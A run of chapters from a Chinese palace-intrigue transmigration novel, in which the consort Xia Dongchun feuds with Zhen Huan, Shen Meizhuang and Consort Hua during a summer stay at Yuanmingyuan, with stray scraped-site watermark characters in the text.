对于夏冬春的逼问,两人驴头不对马嘴的解释半天并没有叫大家满意。!晓?税/宅~ *追-醉_新+漳¢结^只是皇后这个没出息的就乐意和稀泥。 元年进宫的后妃,甄嬛是第一个有身孕的。皇上的欣喜和赏赐满足了甄嬛极大的虚荣心和自信心。这才有了今日不顾夏冬春的战斗力莽撞挑衅的场景。 瞧那两人都白了脸,夏冬春嫌弃的哼了一声:“莞常在为什么总是不长记性,本宫真是看你不顺眼极了。” 说着,她起身敷衍的挥了挥帕子:“皇后娘娘,臣妾掌管宫务发现了一些小问题,还要去和皇上说一说呢,就先告退了。” 实际这些问题都是芳渠发现的,毕竟她是养心殿的嬷嬷,对宫规一板一眼的,眼里绝不容沙子。 临走前,夏冬春走到甄嬛身边挑了挑眉。 眼睁睁的看着甄嬛不自觉的护住肚子身子后仰,才捂着鼻子嘟囔一句:“有孕了就少用这廉价的香粉,上不得台面的小门小户,一朝得了皇嗣不知道怎么显摆好了是吗?” 她穿着一身颜色鲜亮的实地纱宫装,大片的海棠花用金线所绣,行走间光芒四射,配合那张明艳的脸,把向来奉行以素雅为美的甄嬛衬得灰头土脸。 自从年宴后,她是演都不演了,对比她位分高的,偶尔假装很尊敬。实际自家阿玛在前朝不断的给她‘擦屁股’,勤劳的好像一个永不停歇的小蜜蜂。.k!a~n`s\h`u+g,u?a?n′._c!o?m¨ 对比她位分低的,从首饰到妆容,就没有她不嫌弃的。 偏偏内务府还真是她家人当家,就连黄规全也不能随便给谁开后门,更别说那些到现在连一宫主位都没坐上的小主们了。 皇后看着夏冬春嚣张的背影勉强笑了笑,关切的看向脸色苍白的甄嬛温声问道:“莞常在身子可还好?需不需要叫太医来瞧瞧?” 没有了温实初,就算皇上的宠爱也不足以安抚甄嬛有孕后有些惊弓之鸟的心情,她肚子确实不舒服,但又不相信皇后,只能起身婉拒。 皇后也不在乎,她也不是真的想给甄嬛保胎,毕竟甄嬛和沈眉庄自以为拉拢的太医江慎,医术没有江城精通就算了,就连主子,也不是她们两个。 想想莞常在这胎能叫华妃担着,皇后就高兴。 夏冬春带着芳渠和两个食盒的食物来到养心殿,自觉的喊着小厦子铺了桌子摆了茶汤等物。 皇上眼神复杂的看着夏冬春一边吃一边喝,耳朵里又满是芳渠对后宫规制的批判。 皇后喜欢充当好人也从不赏赐宫人,她领导的东六宫的宫人只干自己眼前的活儿,即便太医待的时间长了,也无人知晓。.k·a¨n¢s·h¨u_j*u+n/.*n+e?t\ 而华妃大方,却太过凌厉和武断,只认认自己为主的宫人,其余人别说出头,便是华妃气头上被牵连的都有的是。 还有不属于东西六宫管辖的碎玉轩,桩桩件件都是漏洞。 听着芳渠的汇报,皇上觉得自己能平安的在这皇位上坐着也是个奇迹了。 这样一个时而疏漏时而问题百出的后宫,他那一直不服气的八九十三个弟弟居然也没找到下手的机会。 果然,大哥不说二哥,都不是什么有本事的。 “你就这么看着?” 皇上眼睁睁的瞧着惠嫔用了一盏金丝燕窝,六个水晶虾饺,两个翡翠包子,三碟没看清是什么的肉菜,和两碟青菜,现在正在吃芙蓉糕。 夏冬春嚼嚼嚼,把嘴里的东西咽下去,无辜的看着皇上,一张嘴就是香甜的糕点味:“为什么不能看?是有秘辛吗?那臣妾扭过去?” 芳渠生怕自家主子把皇上气出个好歹,赶紧往回找补:“夏威大人配合奴婢把这些时日的旧账一一查清,每日都是酉时末带着账本子回府的。” 皇上叹了口气,罢了罢了,一家有一个能干的就行,花瓶只需要负责好看。 “你,也跟着芳渠学一学,今后封妃做贵妃了,什么都不会可怎么好?” 夏冬春不以为意:“为什么不好?臣妾是主子,哪有主子亲自干活的。” 皇上捏紧了拳头,总觉得自己的忍耐力越来越低了。 “莞常在有孕,倒不好在这个时候降位。就,叫她搬去咸福宫的后殿吧,禁足六个月抄写宫规三十遍。另外,碎玉轩的掌事宫女是?” 皇上想了一圈,只有敬嫔的咸福宫还算安全点,这莞常在在后宫腹背受敌,放哪个宫室里估计都没什么好日子。 芳渠的脸色变了变:“皇上,崔槿汐是苏公公亲自调到碎玉轩的。” 宫女的调动都是有记录的,苏培盛也没想着这莞常在这么勇敢,更没想到崔槿汐这么笃定的就跟了一个常在小主,所以连痕迹都没有抹去。 “没规矩的奴才,扔去慎刑司服役就是。” 苏培盛已经不可信了,皇上打算启用他在潜邸时培养的奴才们,高无庸,张起麟,陈福,谢成四人。 芳渠的动作可比皇后那个办点小事就要四处宣扬的人快的多。 皇上也把苏培盛从御前调到了养心殿的桩子职位,每日在皇上眼皮子底下站着,半句话都没人跟他说。 为了一个崔槿汐,把自己半生积攒起来的位置送了出去,也不知道苏培盛后不后悔。 后宫肃清不久,皇上下令启程去圆明园避暑。 夏冬春为自己争取到了杏花春馆,这里风景好地方大,最关键的是离皇上远。 “娘娘,老爷送了信过来。” 秋丽等着夏冬春睡醒才把信送到自家主子眼前,厚厚的一封其实没多少字。 原是夏冬初叫夏威收集的那些破瓷器修补好了,正好圆明园需要一批物件,宫里剩着的安答应也到了领月例的时候。 “把华妃娘娘喜欢的送过去,这不当家不知道柴米贵,修修补补的,后宫也没个外人,不必太过计较。” 秋香和秋丽虽然跟着自己主子干了不少招人恨的事,但这事,她们是真怕自己主子被打死。 “对了,安答应那里送些拼贴的就是,这材料都是顶尖的好货,完整的还轮不上她呢!” 这权力在谁手里都有不同的面貌,如今轮到了夏冬春当家,该给的给了,你要说不好?掏钱买就是了,没人拦着。 这批被修补的瓷器引起了华妃极大的怒火,可惜夏冬春的提前拉拢了皇上,省钱嘛,皇上最爱了。 况且有一句话夏冬春说到了皇上心坎上“为什么要羞赧?皇上才是大清的面子,后宫长年没个外人,给谁看啊?有这钱叫皇上享受了不好吗?” 不好吗?太好了啊!至于夏冬春也在享受,皇上下意识的忽略了,得利的是他,不能和功臣过不去啊! 第404章 夏冬春21 难得有个雨天,从昨儿个夜里开始,淅淅沥沥的雨丝飘荡在圆明园古朴的屋舍上,织起一张朦胧且凉爽的薄网,网住众人深陷绸幔中的美梦。 然而这静谧的美好很快被各宫宫人的轻声呼唤所打破,桃花坞的宫人传了话,今日的晨安,依旧按时进行。 夏冬春耷拉着脸,整个人像是被今日的乌云笼罩在里面一般,阴郁又愤怒。 秋香和秋丽手脚麻利的为夏冬春换上一身轻薄的紫色素线绸便服,头上的装饰也多用利落的金簪,避免了流苏点缀惹叮当碰撞发出多余的声响惹的主子心烦。 “娘娘,用些点心再去吧?” 汀雪和汀雨留在储秀宫看家,杏花春馆里分来的星眠和星晚也是夏威安排好的人手,在做糕点和打探消息一道,格外有天分。 夏冬春看了眼星眠手里小巧精致的点心,一时间也有点了胃口。 把能吃的都填进肚子里,这才动了腿往桃花坞走。 这样好的天气,皇后这个老太太睡不着觉,就可着她们年轻人折腾,果然不是老人变坏了,而是坏人变老了。 这股怨气在进入桃花坞的地盘后急剧上涨,明明还算清爽的早晨,被众人坐在一起凑起来的热气掩盖。 窗外的阴雨再没有带进来清凉,反而困住了盘亘左右的潮气,湿哒哒黏糊糊的缠绕着皮肤和衣裳,惹人厌烦。 “皇后娘娘可是有要事嘱咐?” 夏冬春自个儿捏着扇子加重了力道,表情里的不耐烦深深刺痛了皇后的眼睛。 “一日之计在于晨,今日虽然小雨不断,但也是难得的凉爽,妹妹们出来走走,对身子也好。” 她这话只有齐妃还愿意接上两句,其余人胆小的低着头,胆大的翻着白眼。 “皇后娘娘就一点自己的事情都没有吗?为什么总是拉着臣妾等人说没用的废话?下着雨,就连皇上的小朝会都歇着了,皇后为什么会觉得,咱们这个可有可无的请安比朝政还重要?” 可能是到了月事前的日子?夏冬春总觉得心里头憋着一口无名的火气,看谁都不是很顺眼。 华妃看了一眼身边的惠嫔,即便两人现在在同一战线上,也没什么好气的哼了一声。 “皇后娘娘也是为了姐妹们的健康,惠嫔娘娘倒也不必这般尖锐。” 皇后还没说话,和夏冬春最合不来的甄嬛摸着显怀的肚子开启了自己正义的化身。 夏冬春猛地转头,不耐烦的看向甄嬛那张伪善的面庞:“健康?莞常在还真是心宽体胖。这雨天里的健康为什么不在屋子里而是在外头?咱们这些人滑一跤不过是疼一天,莞常在的肚子,为什么不怕这些?难不成是假的吗?” 甄嬛的手和皇后的笑同时被暂停住,沈眉庄哪里能接受自家嬛儿被如此污蔑,立刻就要开口跟团。 “你莫要开口了,好好一个贵人,为什么把自己作践的像莞常在的丫鬟似的。她穿新你穿旧,她得宠你挨揍,沈氏也是瞎了眼了,为什么送了你这么个没用的废物进宫。” 大家感受到夏冬春突然提高,并且不分远近的攻击力冲击,本就不大的屋子安静下来,可以清晰的听到外头雨点打在窗棂的声音。 “皇后娘娘为什么还不叫散?若是有正经事便直说。若是拉家常唠闲磕皇后娘娘为什么不找那些和您一样没什么瞌睡的老封君去?打量着臣妾等人像您一样不需要服侍皇上也这般闲得慌吗?” 即便讨厌惠嫔,华妃也不得不承认,今早惠嫔对皇后的攻击还是过于密集了,是她没有达到过的高度。 “惠嫔言语僭越不敬本宫,禁足一月。” 夏冬春的眼睛亮了亮,那股子毁天灭地的怒火消散了些。 “禁足啊,那臣妾就多谢皇后娘娘了。” 圆明园在皇上从先帝手里接过来就开始动手扩建和修缮。这杏花春馆在年初时被皇上纳入环湖九岛之一,占据后湖西北角的位置。南北长205米左右,东西宽约135米距离。总占地,在两万两千平方米。 这一景中夏冬春居住的屋舍名天然居,建筑面积约在一千两百平方米。前殿以青石板为路,以后湖引水为池,池中用荷花造景。 后院以茅屋,菜圃,稻田和杏花为元素。即便是禁足,于夏冬春而言,根本不存在任何意义。 她说着,脸上终于有了一些笑模样,挥了挥帕子不走心的行礼告退,准备去过自己难得的暑假生活。 也幸亏她跑的快,等到回笼觉再睁眼,星晚带来了莞常在小产的消息。 自个儿在室内便没那么多讲究。夏冬春只穿了轻薄透气的青色纱衣,赤着脚在象牙席上歪躺着,手里的银叉不时的在果盘上挑拣着,一派闲适从容。 “难不成真叫我说中了?这雨天路滑的,莞常在穿着花盆底晃来晃去,倒也不意外。” 屋外的雨变大,雾蒙蒙的天儿灰了下来,瞧着有雨如决河倾的趋势。 “是,莞常在的碧桐书院要远些,途经棕亭桥时一个不小心,摔了下来,当场就见了红。” 星晚跪坐在铺了竹席的地上,一边整理着夏家送进来的物件一边利索的汇报着自家主子补眠时传来的消息。 吃了几口冰镇的西瓜,夏冬春总算是完全清醒了过来。她专门在系统那里拿的药,无论怎么造作都不会坏了肚子。 “皇上可是去了?” 禁足可真好啊,不然奔波在这大雨里的苦命人就要多增加她一个了。 “自然是去了,莞常在估摸着要变成莞贵人了。” 秋香把所有的物件整理好,摆在夏冬春眼前。 “娘娘看看,可有什么落下的?老爷今早听闻您被禁足可慌极了,连忙托人送来了不少东西哄您开心呢。” 顺着秋香的动作看去,一片的花团锦簇。 “还是阿玛疼本宫,对了,本宫上次说的,阿玛可去看了?” 把手里惟妙惟肖的金团子十二生肖扔在盒子里,夏冬春又靠回到了迎枕上,懒洋洋的吞了一颗剥了皮去了籽的葡萄,脸瞬间皱了起来,好酸。 “去了,老爷说都办妥了,等过段时间给娘娘送来。” 秋香只知道这些,至于办的什么事,她是无从得知的。 夏冬春点了点头,敛财,她一向认真。 除了乌雅氏这个大头,清朝最胖的自家老鼠之一的凌普也不能忘记。 夏冬春提供了几个地点,夏威带人暗中查探一二,确实发现了些好东西。 这几个地方都是经过这么多小世界慢慢摸索出来的,总算是派上了用场。 等到午膳摆满了圆桌,外头的消息终于传了回来。 莞常在晋位莞贵人,皇后因病休养身子,手里的宫权一分为二,一半给了华妃,一半给了夏冬春。这样算来,夏冬春手里有了四分之三的宫权,皇上还真是放心她呢。 第405章 夏冬春22 有了莞贵人小产在眼前,夏冬春在桃花坞闹出的那点动静完全被皇上忘在了脑后。言语僭越算什么呢?哪能比得上皇后非得大雨天的叫有孕宫嫔去请安招人烦? 至于禁足,皇上是知道夏冬春的德行的,并没有阻止其她宫妃在杏花春馆的进出。富察贵人和欣常在都是常客,两人经常拎着东西过来钓鱼或吃饭。 “淑和今天乖不乖啊?” 夏冬春拿着一块香喷喷的肉干在淑和面前晃了晃,小姑娘回到亲娘身边后性格越发开朗,对夏冬春这个额娘很是敬重。 “淑和很乖。” 虽然她觉得这把戏有点幼稚,但还是每次都认真的配合。 自从接回淑和,夏冬春甚至都没让孩子的物件占据她的地盘。欣常在主动搬到了后殿,带着淑和除了请安,平日绝不来招眼。 母女俩识趣,夏冬春也不是个乐意做恶的。除了上菜速度快些,其余的补贴是一概没有的。毕竟不是她的孩子,免费给别人养娃这么冤大头的事,她可不会做。 欣常在家在蜀中,只是离的远不是穷,心里满是对接回女儿的感激,哪里还敢得陇望蜀的做白日梦呢。 这次避暑,夏冬春也磨着皇上把母女俩打发去了镂月开云和齐妃敬嫔,三人同住在一个景里。 不过欣常在每天都会带着淑和来杏花春馆请安坐一坐,若是夏冬春得空便陪着解解闷,若是不得空立刻起身告退,分寸拿捏的刚刚好。 “淑和是不是该进学了?” 这该吃的苦还是得吃,总这么玩对大人的身心健康不利。 不过是一句话的事,皇上顺手就给安排了。 欣常在送来了一棵金灿灿的发财树,戳到了夏冬春的心尖尖上。她顺便把夏威送进来的文房四宝挑了一个不起眼的给淑和,也算是她这个额娘的心意了。 “我挑的那是从哪来的?” 她来到这个世界这么久,除了给夏威写信,其余时候就没有拿笔看书的时候。 对于这些东西也不甚在意。 秋香想了想:“老爷送来的,奴婢记着是吉墨轩买来的,虽然比不得御造的贵重,但也要百来两银子。” 那很贵重呢。虽然夏冬春的一件衣裳都不止这个价,但这是送人的,已经很有不错了。 “娘娘,莞贵人不相信自己失足摔倒,找了果郡王来查探呢。” 星晚第一次接到这个消息,脸上的震惊已经藏不住了。毕竟对于土生土长的大清人来说,妇人求助小叔子,还是过于先进了些。 夏冬春倒不意外。 “看好了他们,我记着阿玛说有个善画人的小太监在圆明园,是谁?” 秋丽把手里的账本放下,轻声回道:“是吉福。” 夏冬春点了点头:“叫他去看着,顺便画上一幅来。舒太妃和果郡王的好东西可不少,咱们万不能错过了。” 秋丽应了一声,总觉得她们娘娘不像是正经宫妃,更像是占山为王的山大王。摇了摇头,把这凌乱的念头甩出去,赶紧出去办差是正经。 高手在民间,高手在太监,这一幅月光美人落泪图在舒太妃这里卖到了两百两黄金的价格。夏冬春分了一百两银子给小太监,得到了一个誓死要为她办事的好奴才。 等到果郡王美滋滋的带着油腻的笑脸回到清凉台时,看到的,就是坐在屋子里阴沉着脸的额娘。 “额娘,你怎么?” 清凉台和凌云峰不远,舒太妃说是修行,其实经常在清凉台小住。 “额娘来看看允礼,是怎么把额娘攒的家底一点点送出去的。” 舒太妃把一幅皱皱巴巴的画像扔在果郡王脚边,语气讥讽。 果郡王俯身捡起那似废纸般的玩意儿,展开看到上头熟悉的两张脸目露惊慌。 “我说过多少次了?既然被发现了,宫里头定是有人盯着你。沉住气静等来日,那莞贵人不过是个给些甜头就能拉拢住的。如此暴露,你是觉得咱们母子还像先帝在时那般有底气吗?” 先帝的赏赐除却金银之物都不能带出宫,母子俩的私房已经不剩多少了。 虽然打着混淆血脉的念头,但也万不是要赔上全部身家啊!更何况这人一日在背后,就如同头顶悬着一柄利剑,计划总要有所改变才是。 “儿子还以为,离开了宫里,应当.....况且莞贵人小产,若是儿子这个时候还视而不见,那未免太过冷情了。” 舒妃冷冷一笑,隐藏在暗处的脸上带着明显的嘲讽。 “圆明园咱们本就没什么人手,你若是能瞒着皇上把莞贵人哄好了,也算是你的本事。但如今瞧来,她也不过是利用你罢了。” 什么查探凶手,有孕了就老老实实的穿着平底绣花鞋不是常识吗?在宫里头,没一个孩子太正常了,被雨水冲刷过的地界儿,哪有什么证据能留下? 想着不顾还在坐小月子求他找出凶手的那个柔弱的莞贵人,果郡王还是犹豫了。 舒太妃是知道这个儿子的缺点的,优柔寡断难成大事,甚至那拖后腿的品性真是越发明显了。 “圆明园守卫松散,离回宫最起码还有两个月的时间,只要在回宫前叫莞贵人有了身孕,咱们也不算白白谋划。” 果郡王没有出声,只是行礼离开。 嬛儿的身子还没养好,他不能这般做。 夏冬春不知道母子二人的商议,不过果郡王再来圆明园可就失去了大部分的便利。毕竟,这要钱的活儿不能短时间内进行多次,不利于可持续发展。 温宜的生辰到了,夏冬春还在禁足。 甄嬛小产坐月子,这惊鸿舞也不得见天日。华妃手里的宫权缩水,便变着花样的弄出大场面好叫自己不至于失了价值。 华妃联络不上年羹尧,年羹尧自然也联络不到华妃,敦亲王不过是一个小小的橄榄枝,年羹尧立刻接了过去。 “华妃娘娘果然厉害,这温宜公主的生辰宴如此盛大,怕是比皇后的千秋宴还要繁盛。” 华妃闻言嘴角止不住的上翘,没有看到底下诚惶诚恐的曹贵人面色像个死人。 “哥哥为皇上分忧,臣妾在后宫也不能坐享其成。为皇上做些小事,这点银子,臣妾还是出的起的。” 没有了皇后,华妃更加肆无忌惮的显摆自己的‘优势’,却没有看到皇上眼神里深深地忌惮和厌恶。 “年大将军为国为民尽忠职守,当得起忠良二字。” 敦亲王不愧是曾经跟着老八老九混的人,总能说出皇上最不喜欢听的话。 敦亲王福晋拉了拉敦亲王的袖子,却没有堵住那张嘴。 “若叫本王说,皇上不若把年大将军和华妃娘娘抬入满军镶黄旗,这家世,即便是做皇后也绰绰有余了吧。” 宫宴的礼乐骤然停住,在场的人皆用不可置信的眼神看向不知死活的敦亲王。就连华妃那上头的脑袋都回了神,连忙跪在地上请罪。 皇上抬了抬手,没有说话,只静静的坐着,眼睛看着自己的酒杯。 此时殿外的张起麟迈着轻巧的步伐走进来,语气里带着些喜气:“皇上,杏花春馆派人来报喜,惠嫔娘娘有孕了。” 这对皇上来说确实是大喜事,他的嘴角微微翘起,只觉得夏冬春是再有福气不过的人。 “既如此,那便晋惠嫔为惠妃,朕去看看她。” 不顾跪着的华妃和一众人,皇上直接起身离开。 敦亲王有些醉了酒,不知道自己闯了多大的祸,而果郡王则看了眼周围,准备去碧桐书院看看他的嬛儿。 第406章 夏冬春23 天然居里,皇上半搂着似是没长骨头的夏冬春,眼睛里带着惊喜与审视,打量着底下恭敬扎着手的两个太医。 “惠妃的身子怎么样?可需要用些安胎药?” 左边有山羊胡的男人名吴有道,是夏威花了百两黄金拉到了夏家这艘船上,最擅长妇科,家族没有任何宫斗史的太医。 右边国字脸的男人名申有为,娶妻夏氏女,是夏家的女婿。 其祖上在前朝的后宫倾轧里游刃有余,没有得任何贵人的眼也没有被拉进任何一个肮脏的漩涡,擅长儿科,人也是一脉相传的机灵。 吴有道行礼,语气平缓又带着老中医特有的可靠:“惠妃娘娘身子健硕,无需用药。” 惠妃不聪慧但夏威慈父之心不会半点准备也不做的,皇上对这两个太医还算放心。 打发走了太医,夏冬春才兴奋的直起身子,眼神里好像带着耀眼的光,叫皇上有些想要逃离。 然而他上了岁数,腿脚到底是不够灵便,还是败在了夏冬春那张像百灵鸟似的嘴上。 “皇上,臣妾一有了身孕就晋位,为什么莞贵人不是啊?是不是臣妾比莞贵人漂亮?” 皇上失笑,不过还是公平公正的评价了一句:“是,你比莞贵人漂亮的多。” 这是心里话,莞贵人虽然有几分似纯元,但也只是在眉眼和气质上。抛开那份似故人的影子,其实莞贵人的容貌并不算出众。 夏冬春得意的抬着头:“秋香,把这话记下来,改明儿说给莞贵人听。” 皇上没有搭理身边人那些无伤大雅的小动作,捡了块山楂糕放嘴里,越吃越饿。 “皇上这是饿了?为什么没在生辰宴上吃饱?” 如今她总是会觉得饿,杏花春馆的小厨房也时刻备着些汤面或简单的饭菜。她顺嘴吩咐了下去,一碗只余着常温的肉丝面便端了上来。 推了推桌子上那有些艳丽的碗,皇上叹了口气,默默的吃了起来。 夏冬春似是找到了什么乐趣,又叫小厨房送来了些青菜和一盅鱼汤。手不停的给皇上投喂,脸上的笑容越来越大。 “好了好了,朕饱了。” 被她这个一打岔,什么心思都没了。反而把自己肚子吃了个滚圆。 瞥了眼有些遗憾的人,皇上拉着夏冬春往后院走去消食。 “这些日子可能不太安生,你好好待在这里不要出门。” 年羹尧和华妃的家信只恢复了几次,其中年羹尧越发猖狂的做派早就叫皇上忍无可忍。 如今再加上一个唯恐天下不乱的敦亲王,不难想象两人携手会做出何等大逆不道的事。 夏冬春歪了歪头,她的信息是很实时的。年羹尧暂时有这个心还没那个执行力,所以目前没头脑和不高兴组合还没有完全达成共识。 “什么不安生?为什么不叫大哥把他们都打死?” 夏英武的不需要靠脑子,单凭那一身力气就能把年羹尧踹半死。皇上的嘴角不自觉的动了动,在心里默念了一声‘粗暴’。 “你好好养胎,其余的不必多管。” 宫务是芳渠在做,外头的风雨是皇上和夏威在扛。夏冬春只需要负责在宫里头惹是生非,只要不闹出人命,皇上都不想搭理。 似懂非懂的点了点头,夏冬春带着皇上晃悠到了清凉殿的地界。 “皇上怎么过来了?” 生辰宴早就叫了散,华妃坐在自己的风华居正在忐忑今日敦亲王的莽撞,就听外头小太监来通传,皇上到了。 只是华妃走的太快,没听到小太监后头那小声的话‘惠妃娘娘也到了’。 夏冬春努力挺了挺不明显的肚子,一只手扶着腰一只手扒拉着皇上,表情倨傲又嚣张:“华妃妹妹为什么不和本宫问安?莫不是没看到姐姐?” 皇上的胳膊僵硬了一瞬,就连华妃的表情都定在了那里。 “妹妹?姐姐?惠妃是失心疯了不成?” 华妃努力控制着自己的怒火,咬着牙从嘴里吐出这句最有分寸的话。 夏冬春却不以为意,她抬手摸了摸肚子:“这宫里头向来是按照位分身份来排辈分。本宫虽然年轻,侍奉皇上的时间也短些。 但是本宫是满人啊,手里头还有宫权,叫华妃你一声妹妹,哪里不对?你为什么不应?” 华妃张了张嘴,这些时日被包衣奴才克扣糊弄的委屈骤然爆发。 她眼眶泛红的看向皇上,语气里难得带了些脆弱的颤抖:“皇上,您就眼睁睁的看着惠妃这般折辱臣妾吗?” 皇帝到底是对华妃有些真情的,他的手刚伸出去一半,就被夏冬春拽了回来。 “你还知道受折辱了不好受?那你为什么今日做那副蠢样子任由敦亲王在皇上面前撒野?” 被阻拦的不满瞬间飞走,皇上站在夏冬春身边,像是一个不会说话的木头桩子。今日华妃和敦亲王的一来一回实在叫他膈应。 华妃的唇抖了抖,想要解释什么又不知怎么开口。 “肯定是你那二哥和敦亲王有了首尾,不然他为什么向着你这个汉军旗的妾室说话?要知道敦亲王出身钮钴禄氏,莫不是你二哥和敦亲王有什么见不得人的往来?” 华妃带着清凉殿的下人跪在地上,连忙为自己的愚蠢辩解:“哥哥和臣妾对皇上忠心不二,绝不会有异心,请皇上明查。” 皇上面色复杂的看了看似是挥舞着钳子似的惠妃,又看了看胆战心惊请罪的华妃,暗叹一句傻人有傻福。 “起来吧,年羹尧到底有没有异心朕自然会查探。” 想着走,却被手边的重量赘的无法前行一步。 “要想知道年大将军有没有异心还不好说,赏他一丈红就是了。” 华妃恶狠狠的抬起头,像要把夏冬春生吃活剥了一般。 “惠妃,本宫与你无冤无仇。” 夏冬春哼了一声,拉着皇上就走。 “你做什么要吓唬她,华妃可不是你欺负的莞贵人沈贵人之流。” 夏冬春不在乎的踢了踢路边的小草:“那怎么了,臣妾也不是手无缚鸡之力的软包子,臣妾骁勇着呢。” 皇上摇了摇头,他这个惠妃谁都敢去招惹,真是苦了夏威了。 “皇上,您说年羹尧是不是真的和敦亲王......” 她一边说一边挤眉弄眼手舞足蹈的比划,叫皇上对她的脑子再一次表示了嫌弃。 原以为是说着玩儿的,没想到她是认真的。 顺着夏冬春的话想了想,一张胖脸和一张大胡子脸,咦,皇上觉得吃的那碗肉丝面要反上来了,好恶心。 “你多读读书吧,脑子里都是些什么乱七八糟的,影响了朕的皇儿。” 夏冬春自己也打了个哆嗦,这两个人凑一起实在太阴间了,她自己被自己的脑洞恶心到了。 “那不然好好儿的敦亲王为什么帮华妃说话?这不合理!” 皇上看了她一眼,心说你还知道合不合理呢?你想的这个糟心事难道就合理了吗?就这个脑子别说插手前朝参与朝政了,后宫她能活明白都是家里花了大价钱买的平安。 第407章 夏冬春24 坐好了小月子的莞贵人终于出现在了园子里。 她面色苍白,身形消瘦,穿着一件半新不旧的绿色衣裳,眼神却明亮的吓人。 “还未恭喜惠妃娘娘,嫔妾有缘无分孕育皇嗣,惠妃娘娘定要吸取嫔妾的教训,安稳养胎。” 甄嬛是不服气的,凭什么她有孕后皇上只给了些金银外物的赏赐,而惠妃报喜连面都没露,就能顺利晋位?不就是搭着一个好时机吗? 有沈眉庄这个忠仆在,甄嬛的消息还是挺灵通的。 夏冬春用帕子掩住鼻子,嫌弃的翻了个白眼:“本宫就说你晦气你偏不信,但凡是跟你沾点边的为什么没一个有好下场的? 你瞧瞧你那好妹妹安陵容,连皇上的面儿都见不到,再看看投靠你的崔槿汐,啧啧,也不知道能不能受得住慎刑司的刑罚呢。” 像是在驱赶什么脏东西,夏冬春的用扇子使劲挥了挥。 “莞贵人好心提醒,惠妃却恶意诋毁莞贵人名声,还望惠妃娘娘给自己和皇嗣积些口德才好。” 沈眉庄不愧是甄嬛身边最能吸引火力的家生子,这番话简直把自己的命和沈家的名声都送到了夏冬春手里。 “啧,本宫还是头一次见你这般不知死活的人。” 夏冬春有些后悔没有留下温实初这个窝囊废,这捉奸的戏码少了一场,真是遗憾。 “沈贵人言语不敬,规矩不佳,品性不端,教养不善,罚跪两个时辰。再叫人回济州看一看,这沈家的女子,是不是都是这个德行。” 说着,夏冬春身后的小太监发财和发喜利索的摁着沈贵人跪在晒的热乎乎的鹅卵石路上。 夏冬春带着漫不经心从旁边走过,用饱含恶意的声音说道:“本宫得好好替你们沈家的女子正正名,也好叫她们不至于所托非人啊。” 沈眉庄就算再狼心狗肺,也知道这名声若是真被传出去,家里人会如何在背后咒骂她。 “惠妃娘娘!过不及家人,请您高抬贵手。” 夏冬春脚步微顿:“过不及家人?那为什么沈贵人和莞贵人的嘴里都在说着本宫未出世的孩子呢?” 过了许久,甄嬛站在沈眉庄身边撑着伞,为其挡住了大部分的骄阳。 “唉,奴婢可听说当日莞贵人惹怒了华妃娘娘,沈贵人二话不说就陪着一起跪了下去呢?” 夏冬春留下的奴才可不是吃干饭的,挑拨离间而已,顺手的事。 “可不是,要说沈贵人对莞贵人确实没的说。不过莞贵人起势后,好像就给沈贵人送了些布料吧?啧啧,没法比啊。” “你瞧瞧,一个站着一个跪着。不过是举着伞罢了,难不成是什么了不得的恩情了吗?” “沈贵人就是个傻的,今日也是莞贵人主动去挑衅惠妃娘娘的。沈贵人为其出头,结果莞贵人连同甘共苦都做不到。” “哪里做不到了?同甘自然是有的,共苦嘛,那是沈贵人的事了。” 这一句句话仿佛是一根根无形的利剑直直的往沈眉庄的心口上插。 她抬起头,已经偏移的太阳不再是视线的阻碍,那个站的笔直的莞贵人的表情仍旧是焦急且怜惜的。 “我没事,你身子还没养好,先回去吧。” 被烤的干哑的嗓子发出的声音甚是干瘪,甄嬛的手晃了晃:“事情因我而起,我怎能留眉姐姐独自在这里受罪?” 一旁的浣碧扶着甄嬛的手,表情焦急的劝说:“小主还是得顾忌自己的身子,沈贵人说的对,您这刚刚养好,万不能再受了暑热啊!” 沈眉庄没有再说话,她抬着头静静的看着甄嬛。 “小主您在这儿站着也是无济于事,不如回去歇歇,再去找皇上来做主?” 流朱心疼的举着甄嬛的手,好叫她有支撑的点。 身子的大半重量在浣碧身上,撑伞的手是流朱在托举,甄嬛只静静的站在那里,便觉得自己已经是仁至义尽。 “对,我还能去找皇上。” 她是刚想起来吗?不是的,两个人心知肚明,刚才的话说难听些是诅咒皇嗣,所以才没人提起。 只是周围的宫人的话太过犀利,甄嬛不想跪着也不想再听,便顺着流朱的话往勤政殿去。 沈眉庄看着甄嬛的背影无声的扯了扯嘴角。 “小主。” 采星跪在一边,陪着自己小主。 沈眉庄没有说话,只是拍了拍采星的手,膝盖的疼痛好像已经感觉不到了。只看着那天边像是要落幕一般的夕阳,静静的回想着和甄嬛相识以来的点滴。 甄嬛去了勤政殿,得知皇上在杏花春馆,咬了咬嘴唇凑近浣碧:“去联系果郡王的人。” 浣碧听话的跑了出去,带着果郡王赶到了沈眉庄罚跪的地方。 “贵人先起来吧,小王随后会去和皇兄解释。” 果郡王背对着沈眉庄,分寸拿捏的刚刚好。 只是沈眉庄如今正是清醒的时候,她一脸不可置信的看着甄嬛,不知道自己犯了什么不可饶恕的罪责,叫甄嬛这样构陷她。 “莞贵人!果郡王是外男,你今日带着果郡王来请我起身,是想叫我沈眉庄没脸在后宫立足吗?!” 头晕脑胀的沈眉庄不知道哪里来的力气,声音大的像是要在整个圆明园上空飘荡一样。 “眉姐姐,我不是这个意思,只是皇上在惠妃处,我实在没办法。” 沈眉庄冷笑了一声,她们俩到底说了什么都心里有数,没脸去求皇上很正常,不愿意陪着一起受罚也是人之常情。 但带着外男过来,私自解了惩罚是沈眉庄万不能接受的。 这身边站着的太监宫女不下十人,甄嬛难不成想要她沈眉庄不守妇道的污名传出去吗? 其中一个腿脚快的太监早就在甄嬛带着果郡王来时就跑回去向自家主子告状了。 夏冬春拉着皇上快步到达现场,正好听到沈眉庄的质问。 她点了点头,沈眉庄这是突然长脑子了?那也不是不能给她一个活路,毕竟原主的仇人她还不算能排的上名号的。只不过不是一派,想要好过是不可能了。 只是可惜了,果郡王这条生产线怕是要停工一阵子了。 “十七弟怎么在这里?” 皇上本以为允礼是个能刷名声的老实弟弟,没想到他居然和自己的小妾关系如此紧密。 “臣弟刚才在马场骑马,准备回府时碰到了这位乱跑的小宫女。看她哭的可怜,臣弟便问了一句。” 这鬼话别说皇上不信,就连果郡王自己都觉得可笑。 “没事多陪陪冲静师太。” 果郡王知道此刻不是说话的好时机,立刻转身离开。 看着跪在地上的沈眉庄,皇上叫了起:“明日你就收拾了行李回宫,规矩学不好就不要出来了。” 